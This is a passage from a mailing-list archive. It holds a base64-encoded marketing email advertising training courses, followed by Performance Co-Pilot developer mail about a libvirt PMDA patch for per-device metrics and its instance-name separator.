Pjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDU8L3N0cm9uZz48L3Rk Pjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5TdHJhdGVnaWMgV29tZW4gTGVhZGVyc2hpcCBE ZXZlbG9wbWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPjI5IEZlYiAtIDA0IE1hciAvIDIwIC0gMjQgSnVuIC8g MDMgLSAwNyBPY3Q8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ry b25nPjAwNjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkNvcnBvcmF0 ZSBHb3Zlcm5hbmNlIEFuZCBPcmdhbml6YXRpb24gRGV2ZWxvcG1lbnQ8L3RkPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+ MjIgRmViIC0gMDQgTWFyIC8gNCAtIDE1IEF1ZyAvIDEwIC0gMjEgTm92PC90ZD48L3RyPjx0 cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDc8L3N0cm9uZz48L3RkPjx0 ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5TcG9ydHMgTWFuYWdlbWVudCBhbmQgQWRtaW5pc3Ry YXRpb248L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+MjIgRmViIC0gMDQgTWFyIC8gNCAtIDE1IEF1ZyAvIDEwIC0g MjEgTm92PC90ZD48L3RyPjwvdGJvZHk+PC90YWJsZT48cCBzdHlsZT0ibWFyZ2luOjBweDtw YWRkaW5nOjBweDsiPjxzcGFuIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250 LWZhbWlseTogYXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czog MTsiPiZuYnNwOzwvc3Bhbj48YnIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZv bnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dz OiAxOyI+PHN0cm9uZz5IRUFMVEggQU5EIE1FRElDQUwgU0NJRU5DRVMgQ09VUlNFUzwvc3Ry b25nPjwvcD48dGFibGUgYm9yZGVyPSIxIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9 IjAiIHdpZHRoPSI5NDEiIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZh bWlseTogYXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsi Pjx0Ym9keT48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+RUxEPC9zdHJv bmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5DT1VSU0UgVElUTEU8 L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPkR1cmF0aW9u PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5EYXRlczwv c3Ryb25nPjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+ MDAxPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+T2NjdXBhdGlvbmFs IGhlYWx0aCBhbmQgc2FmZXR5IENvdXJzZTwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsi PjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yMiBGZWIgLSAwNCBNYXIg LyA0IC0gMTUgQXVnIC8gMTAgLSAyMSBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFy Z2luOiAwcHg7Ij48c3Ryb25nPjAwMjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPkhlYWx0aCBBZG1pbmlzdHJhdGlvbiBQcm9ncmFtbWU8L3RkPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQg LSAxNSBBcHIgLyAwNCAtIDE1IEp1bCAvIDI0IE9jdCAtIDA0IE5vdjwvdGQ+PC90cj48dHI+ PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDAzPC9zdHJvbmc+PC90ZD48dGQg c3R5bGU9Im1hcmdpbjogMHB4OyI+UHJhY3RpY2UgTWFuYWdlbWVudCBQcm9ncmFtbWU8L3Rk Pjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij4wNyAtIDExIEFwciAvIDE3IC0gMjEgTm92PC90ZD48L3RyPjx0cj48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDQ8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij5ISVYgYW5kIEFJRFMgY291c2VsbGluZ1Byb2dyYW1tZTwvdGQ+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPjIyIEZlYiAtIDI4IEZlYiAvIDI4IEp1bCAtIDAxIEF1ZyAvIDEwIC0gMTQgTm92PC90 ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDU8L3N0cm9u Zz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5IZWFsdGggUHJvbW90aW9uIENvdXJz ZTwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJt YXJnaW46IDBweDsiPjI5IEZlYiAtIDA0IE1hciAvIDIwIC0gMjQgSnVuIC8gMDMgLSAwNyBP Y3Q8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNjwv c3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPk51dHJpdGlvbmFsIE1lZGlj aW5lIFByb2dyYW1tZTwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3Rk Pjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yMiBGZWIgLSAwNCBNYXIgLyA0IC0gMTUgQXVn IC8gMTAgLSAyMSBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48 c3Ryb25nPjAwNzwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkNvbXBs ZW1lbnRhcnkgSGVhbHRoIFRoZXJhcGlzdCBDb3Vyc2U8L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjIgRmViIC0g MDQgTWFyIC8gNCAtIDE1IEF1ZyAvIDEwIC0gMjEgTm92PC90ZD48L3RyPjwvdGJvZHk+PC90 YWJsZT48cCBzdHlsZT0ibWFyZ2luOjBweDtwYWRkaW5nOjBweDsiPjxiciBzdHlsZT0iY29s b3I6IHJnYigzNCwgMzQsIDM0KTsgZm9udC1mYW1pbHk6IGFyaWFsLCBzYW5zLXNlcmlmOyBm b250LXNpemU6IHNtYWxsOyB3aWRvd3M6IDE7Ij48c3Ryb25nPkFWSUFUSU9OIENPVVJTRVM8 L3N0cm9uZz48L3A+PHRhYmxlIGJvcmRlcj0iMSIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFj aW5nPSIwIiB3aWR0aD0iOTM2IiBzdHlsZT0iY29sb3I6IHJnYigzNCwgMzQsIDM0KTsgZm9u dC1mYW1pbHk6IGFyaWFsLCBzYW5zLXNlcmlmOyBmb250LXNpemU6IHNtYWxsOyB3aWRvd3M6 IDE7Ij48dGJvZHk+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPkFDPC9z dHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5DT1VSU0UgVElU TEU8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPkR1cmF0 aW9uPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5EYXRl czwvc3Ryb25nPjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJv bmc+MDAxPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QWVyb25hdXRp Y2FsIEluZm9ybWF0aW9uIE1hbmFnZW1lbnQ8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjIgRmViIC0gMDQgTWFy IC8gNCAtIDE1IEF1ZyAvIDEwIC0gMjEgTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1h cmdpbjogMHB4OyI+PHN0cm9uZz4wMDI8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij5BaXJ3b3J0aGluZXNzIEluc3BlY3RvcnM8L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAxNSBB cHIgLyAwNCAtIDE1IEp1bCAvIDI0IE9jdCAtIDA0IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0 eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDAzPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9 Im1hcmdpbjogMHB4OyI+QXZpb25pY3MgSW5zcGVjdGlvbnMgRnVuZGFtZW50YWxzPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPjA0IC0gMTUgQXByIC8gMDQgLSAxNSBKdWwgLyAyNCBPY3QgLSAwNCBOb3Y8L3Rk PjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNDwvc3Ryb25n PjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkF2aWF0aW9uIFNlY3VyaXR5IE1hbmFn ZW1lbnQ8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+MjIgRmViIC0gMDQgTWFyIC8gNCAtIDE1IEF1ZyAvIDEwIC0g MjEgTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4w MDU8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5BdmlvbmljcyBUZXN0 IGFuZCBNZWFzdXJpbmcgRXF1aXBtZW50IENvdXJzZTwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wOCAtIDE5IEZl YiAvIDAxIC0gMTIgQXVnIC8gMDcgLSAxOCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPkZsaWdodCBPcGVyYXRpb25zIEluc3BlY3RvciBDb3Vyc2U8L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+MDQgLSAxNSBBcHIgLyAwNCAtIDE1IEp1bCAvIDI0IE9jdCAtIDA0IE5vdjwvdGQ+PC90 cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDA3PC9zdHJvbmc+PC90 ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+UGVyc29ubmVsIExpY2Vuc2luZzwvdGQ+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij4wOCAtIDE5IEZlYiAvIDAxIC0gMTIgQXVnIC8gMDcgLSAxOCBOb3Y8L3RkPjwvdHI+ PC90Ym9keT48L3RhYmxlPjxwcmUgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IHdp ZG93czogMTsiPiAKCiZsdDtwcmUmZ3Q7VmlzaXQgJmx0O2EgaHJlZj0iaHR0cDovL0xVRTYu dHJrLmVsYXN0aWNlbWFpbC5jb20vdHJhY2tpbmcvY2xpY2s/bXNnaWQ9N2RtRjlGZXRSbWRB QTBaVXRlSnlaQTImdGFyZ2V0PWh0dHAlM2ElMmYlMmZ3d3cuYWlhdGVkdS5vcmclMmZyZWcl MmZvbmxpbmUtZm9ybSZ2PXBHWDFxLTM2ZXdRMlhGLXE2U19lekEyIiB0YXJnZXQ9Il9ibGFu ayImZ3Q7aHR0cDovL3d3dy5haWF0ZWR1Lm9yZy9yZWcvb25saW5lLWZvcm0mbHQ7L2EmZ3Q7 IHRvIHJlZ2lzdGVyLjwvcHJlPjxwcmU+QXR0ZW5kIHNhbWUgY291cnNlIHdpdGggMyBjb2xs ZWFndWVzIGFuZCB0cmFpbiBmb3IgZnJlZS48L3ByZT48cHJlPkFsbCBDb3Vyc2VzIGNvbWVz IHdpdGggYSBmcmVlIFNhbXN1bmcgVGFiIG9yIEhQIFdpbmRvd3MgMTAgTGFwdG9wCiAKTG9v a2luZyBmb3J3YXJkIHRvIHdlbGNvbWluZyB5b3UuPC9wcmU+Ck1zLiBUYW5lbGU8L2Rpdj48 ZGl2PkFmcmljYW4gaW5zdGl0dXRlIG9mIEFkdmFuY2VkIFRyYWluaW5nPC9kaXY+PGRpdj5Q QVJLVklFVyBTT0VURE9SSU5HIFNUUjwvZGl2PjxkaXY+S0xJUFBPT1JUSklFIC0gQk9LU0JV Ukc8L2Rpdj48ZGl2PlNPVVRIIEFGUklDQSAxNDI4PC9kaXY+PGRpdj5QaG9uZTogKzI2ODc2 OTk2MTQ5PC9kaXY+PGRpdj5QaG9uZTogKzI3NzM0ODkyMTA2PC9kaXY+PGRpdj5GYXg6ICsy Nzg2MjQ0MTk5NDwvZGl2PjxkaXY+RmFjZWJvb2s6PGEgaHJlZj0iaHR0cDovL0xVRTYudHJr LmVsYXN0aWNlbWFpbC5jb20vdHJhY2tpbmcvY2xpY2s/bXNnaWQ9N2RtRjlGZXRSbWRBQTBa VXRlSnlaQTImdGFyZ2V0PWh0dHAlM2ElMmYlMmZ3d3cuZmFjZWJvb2suY29tJTJmQUlBVFJB SU5JTkcmdj1CTldZWGEzMVJuWmRvbUpiaGFycmp3MiIgc3R5bGU9ImNvbG9yOiM4MjgyODI7 Zm9udC1zaXplOjEycHg7Zm9udC1mYW1pbHk6SGVsdmV0aWNhLEFyaWFsLHNhbnMtc2VyaWY7 dGV4dC1kZWNvcmF0aW9uOm5vbmU7Ij53d3cuZmFjZWJvb2suY29tL0FJQVRSQUlOSU5HPC9h PjwvZGl2PjxkaXY+VHdpdHRlcjogQGFpYXRyYWluaW5nPC9kaXY+PGRpdj53ZWI6IDxhIGhy ZWY9Imh0dHA6Ly9MVUU2LnRyay5lbGFzdGljZW1haWwuY29tL3RyYWNraW5nL2NsaWNrP21z Z2lkPTdkbUY5RmV0Um1kQUEwWlV0ZUp5WkEyJnRhcmdldD1odHRwJTNhJTJmJTJmd3d3LmFp YXRlZHUub3JnJnY9MkFlTDZnNnVzeWxUcDIyZndpQ25IUTIiIHN0eWxlPSJjb2xvcjojODI4 MjgyO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtZmFtaWx5OkhlbHZldGljYSxBcmlhbCxzYW5zLXNl cmlmO3RleHQtZGVjb3JhdGlvbjpub25lOyI+d3d3LmFpYXRlZHUub3JnPC9hPjwvZGl2Pjxw IHN0eWxlPSJtYXJnaW46MHB4O3BhZGRpbmc6MHB4OyI+PGJyPjwvcD48L3RkPiAgICAgICAg ICAgICAgICAgICAgICAgPC90cj4gICAgICAgICAgICAgICAgICAgPC90Ym9keT4gICAgICAg ICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgPC9kaXY+PCEtLVtpZiAoZ3RlIG1zbyA5KXwo SUUpXT48L3RkPjwvdHI+PC90YWJsZT48IVtlbmRpZl0tLT4gICAgICAgPC90ZD4gICA8L3Ry PiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+ICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8dGQgY2xhc3M9ImRyb3ciIHZhbGlnbj0idG9wIiBhbGlnbj0iY2VudGVy IiBzdHlsZT0iYm94LXNpemluZzpib3JkZXItYm94O2ZvbnQtc2l6ZTowcHg7dGV4dC1hbGln bjpjZW50ZXI7YmFja2dyb3VuZC1jb2xvcjojZmZmZmZmOyI+ICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPCEtLVtpZiAoZ3RlIG1zbyA5KXwoSUUpXT48dGFibGUgd2lk dGg9IjEwMCUiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0i MCIgYm9yZGVyPSIwIj48dHI+PHRkPjwhW2VuZGlmXS0tPjxkaXYgY2xhc3M9ImxheWVyXzIi IHN0eWxlPSJkaXNwbGF5OmlubGluZS1ibG9jazt2ZXJ0aWNhbC1hbGlnbjp0b3A7d2lkdGg6 MTAwJTttYXgtd2lkdGg6ODAwcHg7Ij4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgPHRhYmxlIGNsYXNzPSJlZGNvbnRlbnQiIHN0eWxlPSJib3JkZXItY29sbGFw c2U6IGNvbGxhcHNlO3dpZHRoOjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjEwIiBj ZWxsc3BhY2luZz0iMCI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8dGJvZHk+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPHRyPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8dGQgY2xhc3M9ImVkdGV4dCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ0ZXh0LWFs aWduOmxlZnQ7Y29sb3I6IzVmNWY1Zjtmb250LXNpemU6MTJweDtmb250LWZhbWlseTpIZWx2 ZXRpY2EsQXJpYWwsc2Fucy1zZXJpZjt3b3JkLWJyZWFrOmJyZWFrLXdvcmQ7ZGlyZWN0aW9u Omx0cjtib3gtc2l6aW5nOmJvcmRlci1ib3g7Ij4gICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIHN0eWxlPSJtYXJnaW46MHB4O3Bh ZGRpbmc6MHB4O3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtc2l6ZToxMXB4OyI+ICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSWYg eW91IG5vIGxvbmdlciB3aXNoIHRvIHJlY2VpdmUgbWFpbCBmcm9tIHVzLCB5b3UgY2FuICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPGEgaHJlZj0iaHR0cDovL0xVRTYudHJrLmVsYXN0aWNlbWFpbC5jb20vdHJhY2tpbmcv dW5zdWJzY3JpYmU/bXNnaWQ9N2RtRjlGZXRSbWRBQTBaVXRlSnlaQTIiIHN0eWxlPSJjb2xv cjojODI4MjgyO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtZmFtaWx5OkhlbHZldGljYSxBcmlhbCxz YW5zLXNlcmlmO3RleHQtZGVjb3JhdGlvbjpub25lO2JhY2tncm91bmQtY29sb3I6aW5pdGlh bDsiPnVuc3Vic2NyaWJlPC9hPiA8YnI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFmcmljYSBJ bnN0aXR1dGUgb2YgQWR2YW5jZWQgVHJhaW5pbmcsIEVtYmFzc3kgSG91c2UgLCBNYmFiYW5l LCBIaG9oaG8sIEgxMDAsIHd3dy5haWF0ZWR1Lm9yZyAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8L3A+ICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4gICAgICAgICAg ICAgICAgICAgICAgIDwvdHI+ICAgICAgICAgICAgICAgICAgIDwvdGJvZHk+ICAgICAgICAg ICAgICAgPC90YWJsZT4gICAgICAgICAgIDwvZGl2PjwhLS1baWYgKGd0ZSBtc28gOSl8KElF KV0+PC90ZD48L3RyPjwvdGFibGU+PCFbZW5kaWZdLS0+ICAgICAgIDwvdGQ+ICAgPC90cj4g ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGJvZHk+PC90YWJsZT4gICAgICAgICAg ICAgICA8IS0tW2lmIChndGUgbXNvIDkpfChJRSldPjwvdGQ+PC90cj48L3RhYmxlPjwhW2Vu ZGlmXS0tPjwvdGQ+PC90cj48L3Rib2R5PjwvdGFibGU+PGltZyBzcmM9Imh0dHA6Ly9MVUU2 LnRyay5lbGFzdGljZW1haWwuY29tL3RyYWNraW5nL29wZW4/bXNnaWQ9N2RtRjlGZXRSbWRB QTBaVXRlSnlaQTIiIHN0eWxlPSJ3aWR0aDoxcHg7aGVpZ2h0OjFweCIgYWx0PSIiIC8+PC9i b2R5PjwvaHRtbD4= From nscott@redhat.com Sun Oct 2 15:56:54 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5B6CD7CA4 for ; Sun, 2 Oct 2016 15:56:54 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id D51F1AC001 for ; Sun, 2 Oct 2016 13:56:50 -0700 (PDT) X-ASG-Debug-ID: 1475441808-0bf8156712100c40001-S8gJnT Received: from mx4-phx2.redhat.com (mx4-phx2.redhat.com [209.132.183.25]) by cuda.sgi.com with ESMTP id 0RvYc6HmLT3hdPjL (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 02 Oct 2016 13:56:48 -0700 (PDT) X-Barracuda-Envelope-From: nscott@redhat.com X-Barracuda-Effective-Source-IP: mx4-phx2.redhat.com[209.132.183.25] X-Barracuda-Apparent-Source-IP: 209.132.183.25 Received: from zmail20.collab.prod.int.phx2.redhat.com (zmail20.collab.prod.int.phx2.redhat.com [10.5.83.23]) by mx4-phx2.redhat.com (8.13.8/8.13.8) with ESMTP id u92Kumf9009304; Sun, 2 Oct 2016 16:56:48 -0400 Date: Sun, 2 Oct 2016 16:56:47 -0400 (EDT) From: Nathan Scott Reply-To: Nathan Scott To: Marko Myllynen Cc: pcp developers Message-ID: <419466549.762313.1475441807473.JavaMail.zimbra@redhat.com> In-Reply-To: <2d10d43c-a7a2-1488-f6c8-e8ab93e46af9@redhat.com> References: <2d10d43c-a7a2-1488-f6c8-e8ab93e46af9@redhat.com> Subject: Re: [pcp] libvirt pmda: add per-device metrics MIME-Version: 1.0 X-ASG-Orig-Subj: Re: [pcp] libvirt pmda: add per-device metrics Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [10.64.48.26] X-Mailer: Zimbra 8.0.6_GA_5922 (ZimbraWebClient - FF49 (Linux)/8.0.6_GA_5922) Thread-Topic: libvirt pmda: add per-device metrics Thread-Index: 3QoCzXM/uV4HWqMCpD5lpftWHWFcNA== X-Barracuda-Connect: mx4-phx2.redhat.com[209.132.183.25] X-Barracuda-Start-Time: 1475441808 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 998 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.03 X-Barracuda-Spam-Status: No, SCORE=0.03 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33412 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain Hi Marko, ----- Original Message ----- > Hi, > > Below is a patch to add support for per-device metrics (for > VCPU/block/net devices). Nothing too exciting here, the only > thing to pay attention to is that these clusters now have too > different indoms, seems to work just fine. Looks good, working nicely here. > libvirt.domstats.block.capacity > inst [1 or "f01110aa-de20-4f2d-8f98-6ee0bc9de412-block7"] value 1073741824 There's a convention of using "::" as separator for compound instances in other PMDAs, which would make the above - libvirt.domstats.block.capacity inst [1 or "f01110aa-de20-4f2d-8f98-6ee0bc9de412::block7"] value 1073741824 Which is a more clear separator here, and its easier to pick apart in this case too (via awk/sed/... that is). If you have a strong preference for the original way though, no problem going back to that - let me know. Otherwise, its all in now - thanks for following up on this. cheers. -- Nathan From nscott@redhat.com Sun Oct 2 15:57:33 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9A8497CA4 for ; Sun, 2 Oct 2016 15:57:33 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5F396304032 for ; Sun, 2 Oct 2016 13:57:30 -0700 (PDT) X-ASG-Debug-ID: 1475441847-0bf57b1e92ce170001-S8gJnT Received: from mx4-phx2.redhat.com (mx4-phx2.redhat.com [209.132.183.25]) by cuda.sgi.com with ESMTP id 5NBJbWvC7FChaxBu (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 02 Oct 2016 13:57:27 -0700 (PDT) X-Barracuda-Envelope-From: nscott@redhat.com X-Barracuda-Effective-Source-IP: mx4-phx2.redhat.com[209.132.183.25] X-Barracuda-Apparent-Source-IP: 209.132.183.25 Received: from zmail20.collab.prod.int.phx2.redhat.com (zmail20.collab.prod.int.phx2.redhat.com [10.5.83.23]) by mx4-phx2.redhat.com (8.13.8/8.13.8) with ESMTP id u92KvRXY009336 for ; Sun, 2 Oct 2016 16:57:27 -0400 Date: Sun, 2 Oct 2016 16:57:26 -0400 (EDT) From: Nathan Scott Reply-To: Nathan Scott To: pcp developers Message-ID: <1981105365.762317.1475441846977.JavaMail.zimbra@redhat.com> In-Reply-To: <441686201.762316.1475441840025.JavaMail.zimbra@redhat.com> Subject: pcp updates: kenj+marko merges, docs, qa MIME-Version: 1.0 X-ASG-Orig-Subj: pcp updates: kenj+marko merges, docs, qa Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [10.64.48.26] X-Mailer: Zimbra 8.0.6_GA_5922 (ZimbraWebClient - FF49 (Linux)/8.0.6_GA_5922) Thread-Topic: pcp updates: kenj+marko merges, docs, qa Thread-Index: LsiEo8dtXOB6BG/8qUemNeV9ikZlcg== X-Barracuda-Connect: mx4-phx2.redhat.com[209.132.183.25] 